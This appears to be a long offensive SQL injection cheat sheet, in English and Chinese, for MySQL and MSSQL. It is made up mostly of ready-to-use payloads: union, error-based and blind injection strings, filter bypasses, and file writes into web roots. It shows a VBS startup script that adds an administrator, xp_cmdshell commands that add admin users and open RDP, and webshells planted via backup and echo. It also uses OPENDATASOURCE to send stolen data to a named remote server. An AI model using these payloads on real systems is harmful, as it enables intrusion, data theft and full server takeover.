The article is a bit long, please be patient
base injection
joint query
•If the previous query result is not empty, the values of the two queries are returned:
•If the previous query result is empty, only the value of the union query is returned:
•keyword union select
•number of fields required
Common Payloads: # Query table name ' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23 # Query field name ' union select group_concat (column_name) from information_schema.columns where table_name = 'table1' % 23
Error injection
Error injection injection is to use the feature that mysql will lead to query information when an error occurs. There are 10 commonly used error reporting methods as follows:
# Modify the select user () field to get different information
# 1. floor () select * from test where id = 1 and ( select 1 from ( select count ( * ), concat ( user (), floor (rand( 0 ) * 2 ))x from information_schema. tables group by x )a);
# 2. extractvalue () select * from test where id = 1 and ( extractvalue ( 1 , concat ( 0x7e ,( select user ()), 0x7e )));
# 3. updatexml () select * from test where id = 1 and ( updatexml ( 1 , concat ( 0x7e ,( select user ()), 0x7e ), 1 ));
# 4. geometrycollection() select * from test where id = 1 and geometrycollection(( select * from ( select * from ( select user ())a)b));
# 5. multipoint()
select * from test where id = 1 and multipoint(( select * from ( select * from ( select user ())a)b));
6. polygon()
select * from test where id = 1 and polygon(( select * from ( select * from ( select user ())a)b));
7. multipolygon()
select * from test where id = 1 and multipolygon(( select * from ( select * from ( select user ())a)b));
8. linestring()
select * from test where id = 1 and linestring(( select * from ( select * from ( select user ())a)b));
9. multilinestring()
select * from test where id = 1 and multilinestring(( select * from ( select * from ( select user ())a)b));
10. exp ()
select * from test where id = 1 and exp (~( select * from ( select user ())a));
Boolean blinds
There are two common Boolean blind injection scenarios, one is that the return value is only True or False, and the other is Order by blind injection.
The return value is only of type True or False
If the query result is not empty, return True (or success or the like), otherwise return False
This kind of injection is relatively simple. You can guess the characters of the table name, field name and field value one by one, and judge whether the guess is correct by returning the result.
Example: parameter=' or ascii(substr((select database()) ,1,1))<115—+
Orderby blinds
The result ordering of order by rand(True) and order by rand(False) is different, and blind annotation can be made according to this difference:
Example: order by rand(database()='pdotest')
A sorting of True is returned, indicating that database()='pdotest' is the correct value
time blind
In fact, most pages, even if there is sql injection, will basically not have an echo, so at this time, it is necessary to use a delay to judge whether the query result is correct.
Common time blinds are:
1. sleep(x)
id = ' or sleep(3)%23
id=' or if ( ascii ( substr ( database (), 1 , 1 )) > 114 ,sleep( 3 ), 0 )% 23
If the query result is correct, the delay will be 3 seconds, and if the query result is wrong, there will be no delay.
2. benchmark()
Simulate the delay with a large number of operations:
id = ' or benchmark(10000000,sha(1))%23
id=' or if ( ascii ( substr ( database (), 1 , 1 )) > 114 ,benchmark( 10000000 ,sha( 1 )), 0 )% 23
Testing this value locally can delay about 3 seconds:
3. Cartesian product
Computing the Cartesian product also simulates the delay through a large number of operations:
select count ( * ) from information_schema.tables A ,information_schema.tables B , information_schema.tables C
select balabala from table1 where '1' = '2' or if ( ascii ( substr ( database (), 1 , 1 )) > 0 ,( select count ( * ) from information_schema.tables A,information_schema.tables B , information_schema. tables C), 0 )
The Cartesian product delay is also about 3 seconds
HTTP header injection
The injection method is similar to the above, that is, the injection point has changed
HTTP Split Injection
Common scenarios, the SQL statement at the login is as follows, and the comment symbol is filtered
select xxx from xxx where username = 'xxx' and password = 'xxx'
# Method 1 username = 1 ' or extractvalue/* password=1*/(1,concat(0x7e,(select database()),0x7e))or'
The SQL statement eventually becomes select xxx from xxx where username = '1' or extractvalue /*' and password='*/ ( 1 , concat ( 0x7e ,( select database ()), 0x7e ))or ''
# Method 2 username = 1 ' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or ' 1 password = 1 select * from users where username = '1' or if ( ascii ( substr ( database (), 1 , 1 )) > 0 , sleep( 3 ), 0 ) or '1' and password = '1'
secondary injection
Secondary injection mainly occurs at the combination of update and select , such as login after registration
The malicious payload constructed by the attacker will be stored in the database by the server first, and then the database will be taken out of the SQL injection problem when splicing SQL statements.
SQL constraint attack
If the username parameter is a string type in mysql during registration, and has a unique attribute , the length is set to VARCHAR(20).
Then we register a username whose username is admin [20 spaces] asd, then in mysql, we will first judge whether there are duplicates. If there are no duplicates, the first 20 characters will be intercepted and added to the database, so the data stored in the database is admin [20 spaces], and when logging in, the SQL statement will ignore spaces , so we are equivalent to overwriting the admin account.
basic bypass
case bypass
Used when there is no matching case when filtering:
SelECt * from table;
double write bypass
The filtering conditions used to delete prohibited characters directly are as follows:
preg_replace('/select/','',input)
Then you can use selectselect from xxx to bypass, after deleting a select, the rest is select from xxx
bypass spaces
When spaces are filtered, it can be bypassed with /**/ () %0a %09
Use hexadecimal to bypass specific characters
If the table name is filtered when querying the field name, or some specific characters in the database are filtered, you can use hexadecimal to bypass:
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273 is the hexadecimal of users
It can only be used for table names, field names, etc., built-in function keywords, and cannot be replaced by hexadecimal
Wide byte, Latin1 default encoding
wide byte injection
When the single quote is escaped , but the encoding is gbk encoding , it is combined with a backslash with a special character to form a special character:
username = %df'# After decoding by gbk, it becomes: select * from users where username ='yun'#
Successfully closed the single quote.
Latin1 encoding
The encoding of Mysql table defaults to latin1. If the character set is set to utf8, there are some characters that are in latin1 but not in utf8. How does Mysql handle these characters? just ignore
So we can enter ?username=admin%c2 and store it in the table and it becomes admin
The %c2 above can be replaced with any character between %c2-%ef
Alternatives to common characters
and -> && or -> || space-> /**/ -> %a0 -> %0a -> + # -> --+ -> ;%00(php<=5.3.4) -> or ' 1'='1 = -> like -> regexp -> <> -> in Note: regexp is a regular match, and there are some new injection methods using regular
commas are filtered
# Use join instead: - 1 union select 1 , 2 , 3 - 1 union select * from ( select 1 )a join ( select 2 )b join ( select 3 )c% 23
# limit: limit 2 , 1 limit 1 offset 2
# substr : substr ( database (), 5 , 1 ) substr ( database () from 5 for 1 ) from is the first character to start from, for is to intercept several substr ( database () from 5 ) # If for is also Filtered mid( REVERSE (mid( database () from ( - 5 ))) from ( - 1 )) reverse is reversed, mid and substr are equivalent
# if : if ( database () = 'xxx',sleep( 3 ), 1 ) id = 1 and databse() = 'xxx' and sleep( 3 ) select case when database () = 'xxx' then sleep( 5 ) else 0 end
limit is filtered
select user from users limit 1
Add restrictions, such as:
select user from users group by user_id having user_id = 1 (user_id is a column in the table)
information_schema is filtered
The innodb engine can use mysql.innodb_table_stats, innodb_index_stats, the log will record the table and key information in these two tables
In addition, the system tables sys.schema_table_statistics_with_buffer, sys.schema_auto_increment_columns are used to record the cache of the query, which can replace information_schema in some cases
file read and write
Read and write permissions
Before reading and writing MySQL files, you must check whether you have permissions. The mysql file permissions are stored in the file_priv field of the mysql table, corresponding to different users. If you can read and write, the database record is Y, otherwise it is N:
We can see what the current user is through user(), if the corresponding user has read and write permissions, look down, otherwise give up this path and find other methods.
In addition to looking at user permissions, there is one more place to look, namely secure-file-priv . It is a system variable used to limit read and write functions, and it has three values:
(1) No content, i.e. unlimited
(2) is NULL, indicating that file reading and writing is prohibited
(3) is the name of the directory, indicating that it can only be read and written in this directory
This configuration item is stored in my.ini . After modification, mysql must be restarted to reload the configuration file
read file
If the above two conditions are met, you can try to read and write files.
Commonly used statements for reading files are as follows:
select load_file(file_path); load data infile "/etc/passwd" into table table name FIELDS TERMINATED BY 'n'; #read server file load data local infile "/etc/passwd" into table library Existing table name FIELDS TERMINATED BY 'n'; #Read client file
It should be noted that file_path must be an absolute path, and backslashes need to be escaped:
write file
select 1,"" into outfile '/var/www/html/1.php'; select 2,"" into dumpfile '/var/www/html/1.php';
When the secure_file_priv value is NULL, it can be bypassed by generating logs:
set global general_log_file = '/var/www/html/1.php'; set global general_log = on;
In addition to general_log, there are many other logs in the log. In the actual scenario, you need to have enough permissions to write the log, and you need to stack the injection conditions to use this method, so it is very difficult to use.
DNS out-of-band injection
If the user accesses the DNS server, a record will be left in the DNS log. If the request carries information from the SQL query, the information can be brought out to the DNS record.
Conditions of use:
1.secure_file_priv is empty and has file read permission
2. The target is windows (using UNC, Linux is not feasible)
3. No echo and no time blind injection
How to use:
You can find a free DNSlog: http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF
Method 2: ntunnel_mysql.php
Navicat's built-in php-mysq link file is uploaded to the target website
Configure navicat as follows:
Method 3: Built-in plug-in of Ant Sword
Launch item privilege escalation
When Windows is started, there will be some programs that start at startup. At that time, the permissions of the programs that are started are system, because the system starts them. Using this, we can write automation scripts into the startup items to achieve the purpose of escalating rights. When the Windows startup items can be written by MySQL, you can use MySQL to import custom scripts into the startup items. This script will run automatically when the user logs in, starts up, and shuts down.
Under the Windows2003 system, the startup item path is as follows: C:\Documents and Settings\Administrator\"Start" menu\Programs\Startup C:\Documents and Settings\All Users\"Start" menu\Programs\Startup
In the Windows2008 system, the startup item path is as follows: C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
When we get the webshell of a website, if we want to further obtain the server permissions of the website, check the readable and writable directory of the system disk on the server. If the startup directory is C:\Users\username\AppData\Roaming\Microsoft\Windows \Start Menu\Programs\Startup is readable and writable, and we can execute a script that uploads a vbs or bat for privilege escalation.
Here, use test.vbs to add the user password, and the account password can be automatically added when it is uploaded to the startup directory and restarted.
set wshshell=createobject( "wscript.shell" ) a=wshshell.run( "cmd.exe /c net user test test123 /add" ,0) b=wshshell.run( "cmd.exe /c net localgroup administrators test / add" ,0)
Through mysql:
use mysql; create table test(cmd text); insert into a values ("set wshshell = createobject (""wscript.shell"")"); insert into a values ("a = wshshell.run(""cmd.exe / c net user test test123 / add "", 0 )"); insert into a values ("b = wshshell.run(""cmd.exe / c net localgroup administrators test / add "", 0 )"); select * from
a into outfile "C:\Documents and Settings\ All Users\Start Menu\Programs\Startup\secist.vbs";
Privileges can be escalated after restart
CVE-2016-6663 and CVE-2016-6664
https://lengjibo.github.io/mysqludf/
MSSQL
MSSQL Basics
System built-in library
MSSQL comes with six databases by default after installation
•4 system libraries: master , model , tempdb and msdb ;
•2 example libraries: NorthwindTraders and pubs
System built-in library |
Function |
master |
System control database, including all configuration information, user login information, current system operation |
model |
Template database, when the database is created, the template of all databases is created. |
tempdb |
Temporary container that holds all temporary tables, stored procedures and temporary files that interact with other programs |
msdb |
Mainly used by users, it records planning information, event processing information, data backup, warning and abnormal information |
system view table
The MSSQL database has its own data tables installed:
view table |
Function |
sysobjects |
All tables in the database are recorded, and common fields are id, name and xtype |
syscolumns |
Records the fields of all tables in the database, commonly used fields are id, name and xtype |
sys.databases |
All databases in SQL Server |
sys.sql_logins |
All logins in SQL Server |
information_schema.tables |
table of the current user database |
information_schema.columns |
Columns of the current user database |
sys.all_columns |
Union of all columns of user-defined and system objects |
sys.database_principals |
Exception permissions for each permission or column in the database |
sys.database_files |
database file stored in database |
MSSQL permission control
•server role
Fixed server roles |
permission |
sysadmin (highest server role) |
Execute any action in SQL Server |
serveradmin |
Configure server settings |
setupadmin |
Install replication and manage extension process |
securityadmin |
Manage login and Create database permissions and read audits |
processadmin |
Manage SQL Server Processes |
dbcreator |
Create and modify databases |
diskadmin |
Manage disk files |
It can be judged by the following statement:
select is_srvrolemember('sysadmin')
•database role
Fixed database roles |
permission |
db_owner (highest privilege) |
User who can perform all actions in the database |
db_accessadmin |
Users who can add and delete users |
db_datareader |
Users who can view data in user tables in all databases |
db_datawriter |
Users who can add, modify, and delete data in user tables in all databases |
db_ddladmin |
Users who can perform all DDL operations on the database |
db_securityadmin |
A user who can manage all actions related to security permissions in the database |
db_backoperator |
Users who can back up the database |
db_denydatareader |
Users who cannot see any data in the database |
db_denydatawriter |
Users who cannot change any data in the database |
It can be judged by the following statement:
select is_member( 'db_owner' )
MSSQL Common Statements
# Create database create database [dbname]; create database test;
# delete database drop database [dbname]; drop database test;
# Create a new table create table table_name (name char ( 10 ),age tinyint,sex int ); # Before creating a new table, select the database, the default is the master library use test; create table admin (users char ( 255 ),passwd char ( 255 ), sex int );
# Drop the new table drop table table_name; drop table dbo. admin ;
# Insert data into the table insert into table_name (column1,column2) values (value1,value2); insert into admin (users,passwd,sex) values ( 'admin' , 'admin' , 1 );
# delete content delete from table_name where column1 = value1; delete from admin where sex = 2 ;
# Update content update table_name set column2 = ”xxx” where column1 = value1; update admin set users = 'admintest' where sex = 2 ;
# Find content select * from table_name where column1 = value1; select passwd from admin where users = 'admin' ;
•Sort & get next data
–There is no limit ordering field in the MSSQL database, but you can use top 1 to display the first data in the data,
–Use <> to exclude the displayed data and get the next data, which means not equal.
–Use not in to exclude data that has already been displayed and get the next data, which can be followed by a collection.
# Use <> to get data id =- 2 union select top 1 1 , id ,name from dbo.syscolumns where id = '5575058' and name <> 'id' and name <> 'username' --+ # Use not in Get data id =- 2 union select top 1 1 ,table_name from information_schema. tables where table_name not in ( select
top 1 table_name from information_schema.tables ) --+ id =- 2 union select top 1 1 , id ,name from dbo.syscolumns where id = '5575058' and name not in ( ' id' , 'username' ) --+
MSSSQL comments
Single line: --space Multiple lines: /**/
Common functions
name |
Function |
suser_name() |
User login name |
user_name() |
User's name in the database |
user |
User's name in the database |
db_name() |
data storage name |
@@version |
Returns information about the SQL server version |
quotename() |
In the stored procedure, add [], '', etc. to the column name, table name, etc. to ensure that the SQL statement can be executed normally |
WAITFOR DELAY '0:0:n' |
'hour:minute:second', WAITFOR DELAY '0:0:5' means to wait for 5 seconds to execute |
substring() |
Intercept string substr(string, start interception position, interception length), for example substring('abcdef',1,2) means start from the first bit, intercept 2 bits, namely 'ab' |
Common injection types
Federated Query Injection
1. Determine the injection point and type ? id = 1 ' and 1=1--+ ?id=1' and 1 = 2 --+ # Then here is character injection, which needs to be closed by single quotes
2. Determine the number of fields ? id = 1 ' order by 3--+ ?id=1' order by 4 --+
3. Union query judgment echo point ? id = 0 ' union select 1,2,3--+
4. Get the current database name and version information ?id=0' union select 1 ,db_name(),@@version --+
5. Get all database names, database has become a dynamic view in a higher version of SQL Server ? id = 0 ' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name from master.sys.databases)--+
6. Get all table names. When there is no database name in front of information, the current database is queried by default. Unlike mysql, each database has a separate information table. You can use master.information_schema.tables to query the information of different databases ?id =0' union select top 1 1 , 2 , table_name from information_schema.tables where table_name not in ( select top 1 table_name from information_schema.tables ) -- +
7. Get all the field names and add more qualifications to facilitate injection ? id = 0 ' union select top 1 1,2,column_name from information_schema.columns where column_name not in (select top 1 column_name from information_schema.columns)--+
?id=0' union select top 1 1 , 2 ,column_name from information_schema. columns where table_name = 'users' and column_name not in ( select top 2 column_name from information_schema. columns where table_name = 'users' ) --
8. Obtain the account password information of the users table ? id = 0 ' union select top 1 1,username,password from users--+
Error injection
•MSSQL database is a strongly typed language database. When the type is inconsistent, an error will be reported. With sub-query, error injection can be realized.
1. Determine the injection point id = 1
2. Determine whether it is an MSSQL database # Return to normal MSSQL id = 1 and exists ( select * from sysobjects) id = 1 and exists ( select count ( * ) from sysobjects)
3. Judging the database version number id = 1 and @@version > 0 --+ # @@version is a global variable of mssql. When @@version > 0 is executed, it will be converted into a number and an error will be reported, which will expose the database information. Must be executed after splicing where
4. Get the current database name and db_name() > 0 --+ and 1 = db_name() --+ # The principle of error injection is to convert other types of values to int type, and the result of the original statement execution will be exploded
5. Determine the permissions the current server has and 1 = ( select IS_SRVROLEMEMBER( 'sysadmin' )) --+ and 1 = ( select IS_SRVROLEMEMBER( 'serveradmin' )) --+ and 1 = ( select IS_SRVROLEMEMBER( 'setupadmin' )) --+ and 1 = ( select IS_SRVROLEMEMBER( 'securityadmin' )) --+ and 1 = ( select IS_SRVROLEMEMBER( 'diskadmin' ))
--+ and 1 = ( select IS_SRVROLEMEMBER( 'bulkadmin' )) --+
6. Determine whether the current role is DB_OWNER and 1 = ( select is_member( 'db_owner' )) --+ # db_owner permission can write files to the target website through backup
7. Get the current username and user_name() > 0 --+
8 , get all database names and ( select name from master .sys.databases where database_id = 1 ) > 0 --+ # Change the value of database_id to get all databases
9. Get the number of databases and 1 = ( select quotename( count (name)) from master .sys.databases) --+
10. Get all database libraries at once and 1 = ( select quotename(name) from master .sys.databases for xml path( '' )) --+
11. Get all table names # Get the first table of the current database and 1 = ( select top 1 table_name from information_schema. tables ) --+ # Get the second table of the current database and 1 = ( select top 1 table_name from information_schema. tables where table_name not in ( 'emails' )) --+ # Get the third table in the current database and 1 = ( select top 1 table_name from
information_schema.tables where table_name not in ( 'emails' , ' uagents ' )) --+ # You can also get the table by changing the top parameter and 1 = ( select top 1 table_name from information_schema.tables where table_name not in ( select top 5 table_name from information_schema.tables )) --+ # quotename and for xml path( '' ) get all tables at once and 1 = (
select quotename(table_name) from information_schema. tables for xml path( '' )) --+ # The main function of quotename() is to add [], '', etc. to the column name and table name in the stored procedure to ensure that The sql statement can be executed normally.
12. Get field name # Get fields by top and not in and 1 = ( select top 1 column_name from information_schema. columns where table_name = 'users' ) --+ and 1 = ( select top 1 column_name from information_schema. columns where table_name = 'users' and column_name not in ( 'id' , 'username' ))
--+ # Get fields by quotename and for xml path( '' ) and 1 = ( select quotename(column_name) from information_schema. columns where table_name = 'emails' for xml path( '' )) --+
13. Get the data in the table and 1 = ( select quotename(username) from users for xml path( '' )) --+ and 1 = ( select quotename( password ) from users for xml path( '' )) --+
Boolean blinds
1. Determine the injection point and 1 = 1 and 1 = 2 and '1' = '1' and '1456' = '1456' --+
2.猜解数据库个数
id=1 and (select count(*) from sys.databases)=7--+ # 存在7个数据库
3.猜解数据库名长度
id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6
id=1 and len(db_name())=4--+ # 当前数据库名长度为4
4.猜解数据库名
id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s
id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q
# 截取第一个库名第一个字符的ascii码为109——m
id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+
# 截取第二个库名第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+
5.猜解表名
# 截取当前库的第一个表的第一个字符的ascii码为101——e
id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+
# 截取当前库的第二个表的第一个字符的ascii码为117——u
id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+
6.猜解字段名
# 截取当前库的emails表的第一个字符的ascii码为105——i
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+
#截取当前库的emails表的第二个字符的ascii码为100——d
id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+
7.猜解表中数据
# username字段的数据第一个字符为D
id=1 and ascii(substring((select top 1 username from users),1,1))=68--+
时间盲注
1.判断是否存在注入
id=1 WAITFOR DELAY '0:0:5'--+
2.判断权限
# 如果是sysadmin权限,则延时5秒
id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+
3.查询当前数据库的长度和名字
# 二分法查询长度
id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+
# 查询数据库名字
# substring截取字符串的位置,用ascii转为数字进行二分法查询
id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+
4.查询数据库的版本
id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M
5.查询表个数,Sysobject 存储了所有表的信息,所有数据库的都放在一起
id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+
# 当前数据库表的个数为6
6.查询第一个表的长度
# 查询第一个表
id=1 and select top 1 name from SysObjects where xtype='u'
# 查询结果为1
(select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')
# 利用and,进行判断,9为表长度的猜测
and len(name)=9
# 第一个表名长度为6
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+
7.查询第一个表的表名
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+
8.查询第二个表的长度
# 查询第一个表名,去除emails, emails为第一个表名
select top 1 name from SysObjects where xtype='u' and name not in ('emails')
# 同理,第三个表则 and name not in ('emails','uagents')
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+
9.查询第二个表的名字
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+
id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+
10.查询第一个表中的字段
# and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名
id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)!=0) WAITFOR DELAY '0:0:1'--+
11.查询字段类型
id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+
12.查询数据
# 查询所有数据库
SELECT Name FROM Master..SysDatabases ORDER BY Name
# 查询存在password字段的表名
SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'
id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'--
# 查询包含pass的字段名
SELECT top 1 name FROM SysColumns where name like '%pass%'
id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--
反弹注入
•反弹注入条件相对苛刻一些,一是需要一台搭建了mssql数据库的vps服务器,二是需要开启堆叠注入。
•反弹注入需要使用opendatasource函数。
–OPENDATASOURCE(provider_name,init_string)
–使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。
•基本流程
–连接vps的mssql数据库,新建表test,字段数与类型要与要查询的数据相同。
CREATE TABLE test(name VARCHAR(255))
–获取数据库所有表,使用反弹注入将数据注入到表中,注意这里填写的是数据库对应的参数,最后通过空格隔开要查询的数据。
# 查询sysobjects表
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' --+
# 查询information_schema数据库
?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables--+
# 查询information_schema数据库
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'--+
# 查询syscolumns表
id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079--+
MSSQL GetShell
扩展存储过程
扩展存储简介
•在MSSQL注入攻击过程中,最长利用的扩展存储如下:
扩展存储过程 |
说明 |
xp_cmdshell |
直接执行系统命令 |
sp_OACreate() |
直接执行系统命令 |
sp_OAMethod() |
直接执行系统命令 |
xp_regread |
进行注册表读取 |
xp_regwrite |
写入到注册表 |
xp_dirtree |
进行列目录操作 |
xp_ntsec_enumdomains |
查看domain信息 |
xp_subdirs |
通过xp_dirtree,xp_subdirs将在一个给定的文件夹中显示所有子文件夹 |
•xp_cmdshell详细使用方法:
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止 。如果用户拥有管理员sysadmin 权限则可以用sp_configure重新开启它
execute('sp_configure "show advanced options",1') # 将该选项的值设置为1
execute('reconfigure') # 保存设置
execute('sp_configure "xp_cmdshell", 1') # 将xp_cmdshell的值设置为1
execute('reconfigure') # 保存设置
execute('sp_configure') # 查看配置
execute('xp_cmdshell "whoami"') # 执行系统命令
exec sp_configure 'show advanced options',1; # 将该选项的值设置为1
reconfigure; # 保存设置
exec sp_configure 'xp_cmdshell',1; # 将xp_cmdshell的值设置为1
reconfigure; # 保存设置
exec sp_configure; # 查看配置
exec xp_cmdshell 'whoami'; # 执行系统命令
# 可以执行系统权限之后,前提是获取的主机权限是administrators组里的或者system权限
exec xp_cmdshell 'net user Guest 123456' # 给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' # 激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' # 将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' # 开启3389端口
扩展存储Getshell
•条件
1.数据库是 db_owner 权限
2.扩展存储必须开启,涉及到的的扩展存储过程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread
1.查看是否禁用扩展存储过程xp_cmdshell
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+
2.执行命令
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+
差异备份GetShell
差异备份简介
差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。
前提条件
•具有db_owner权限
•知道web目录的绝对路径
寻找绝对路径的方法
•报错信息
•字典爆破
•根据旁站目录进行推测
•存储过程来搜索
在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell xp_dirtree
先来看xp_dirtree直接举例子
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件
当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
当利用xp_cmdshell时,其实就是调用系统命令来寻找文件
例如:
?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
•读配置文件
差异备份的大概流程
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--+
**2.创建表并插入数据**
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+
**3.进行差异备份**
backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+
# 上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容:<%execute(request("a"))%>
xp_cmdshell GetShell
原理很简单,就是利用系统命令直接像目标网站写入木马
?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
这里要注意 <和>必须要转义,转义不是使用\而是使用^
文件下载getshell
当我们不知道一些网站绝对路径时,我们可以通过文件下载命令,加载远程的木马文件,或者说.ps1脚本,使目标机器成功上线cs或者msf
MSSQL提权
存储过程说明
xp_dirtree
•用于显示当前目录的子目录,有如下三个参数
–directory:表示要查询的目录
–depath:要显示子目录的深度,默认值是0,表示所有的子目录
–file:第三个参数,布尔类型,指定是否显示子目录中的文件,默认值是0,标水不显示任何文件,只显示子目录
xp_dirtree 能够触发NTLM请求xp_dirtree '\\
xp_subdirs
用于得到给定的文件夹内的文件夹列表
exec xp_subdirs 'c:\'
xp_fixeddrives
用于查看磁盘驱动器剩余的空间
exec xp_fixeddrives
xp_availablemedia
用于获得当前所有的驱动器
exec xp_availablemedia
xp_fileexist
用于判断文件是否存在
exec xp_fileexist 'c:\windows\123.txt'
xp_create_subdir
用于创建子目录,参数是子目录的路径
exec xp_create_subdir 'c:\users\admin\desktop\test'
xp_delete_file
可用于删除文件,但是不会删除任意类型的文件,系统限制它只能删除特定类型(备份文件和报表文件)
•第一个参数是文件类型(File Type),有效值是0和1,0是指备份文件,1是指报表文件;
•第二个参数是目录路径(Folder Path), 目录中的文件会被删除,目录路径必须以“\”结尾;
•第三个参数是文件的扩展名(File Extension),常用的扩展名是'BAK' 或'TRN';
•第四个参数是Date,早于该日期创建的文件将会被删除;
•第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件;
xp_regenumkeys
可以查看指定的注册表
exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'
xp_regdeletekey
删除指定的注册表键值
